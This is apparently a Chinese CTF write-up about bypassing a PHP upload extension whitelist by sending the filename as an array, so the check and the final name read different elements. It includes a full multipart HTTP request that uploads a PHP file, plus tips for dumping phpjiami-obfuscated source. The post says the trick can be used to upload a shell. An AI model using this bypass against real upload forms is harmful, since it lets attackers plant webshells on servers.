我t m学爆


如何绕过文件后缀检测

首先是源码泄露,index.php.bak得到经过phpjiami加密过的代码,太菜了,不知道怎么解密,所以花钱解密。发现源码中有UploadFile.class.php,同样方法获得代码。

发现判断后缀名是否在白名单中使用了$filename[count($filename) - 1],而最后字符合成文件名的时候使用了end($filename)。两者的区别是,前者是通过下标来确定,后者则是返回数组的最后一个元素。比如arrar(1=>'png,0=>'php'),前者返回的是$filename[1]也就是png,后者直接返回数组排在最后面的元素php。 这样就能绕过文件名白名单上传shell了。

1
2
3
4
$filename = !empty($_POST[$this->field]) ? $_POST[$this->field] : $_FILES[$this->field]['name'];
		if (!is_array($filename)) {
			$filename = explode('.', $filename);
		}

正常来说,字符串用.分割成的数组,用这两种方法取到的末元素应该是相同的。但取文件名的时候,如果我们已经传入的是数组,则不会再次进行分割。

所以payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
POST / HTTP/1.1
Host: 54.223.120.147:8088
Content-Length: 401
Cache-Control: max-age=0
Origin: http://54.223.120.147:8088
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryndgpbJdbBv5wetVB
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://54.223.120.147:8088/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Connection: close


------WebKitFormBoundaryndgpbJdbBv5wetVB
Content-Disposition: form-data; name="upfile[1]"

png
------WebKitFormBoundaryndgpbJdbBv5wetVB
Content-Disposition: form-data; name="upfile[0]"

php
------WebKitFormBoundaryndgpbJdbBv5wetVB
Content-Disposition: form-data; name="upfile"; filename="1.png"
Content-Type: image/png

<?php show_flag(); ?>
------WebKitFormBoundaryndgpbJdbBv5wetVB--

写了个简单的网页测试了下,结果为 [1=>'png', 0=>'php]

关于php解密

刚刚接触web安全,所以正在学习中… 日后一定补上自己的思考。 放个P牛的话勉励自己:不求甚解是阻碍部分人进步的一大阻力

动态调试法: 用xdebug+phpstorm疯狂F8,在变量里就会出现源码,因为加密过得代码肯定要解密后运行,解密的步骤应该也写在文件里了,最后用eval()运行

手工dump法:

1
2
3
4
<?php
include "index.php";
print_r(get_defined_vars());
?>

把base64拿去解密就是源码


题目解密后的文件: index.php uploadFile.class.php

参考资料:

https://www.leavesongs.com/PENETRATION/unobfuscated-phpjiami.html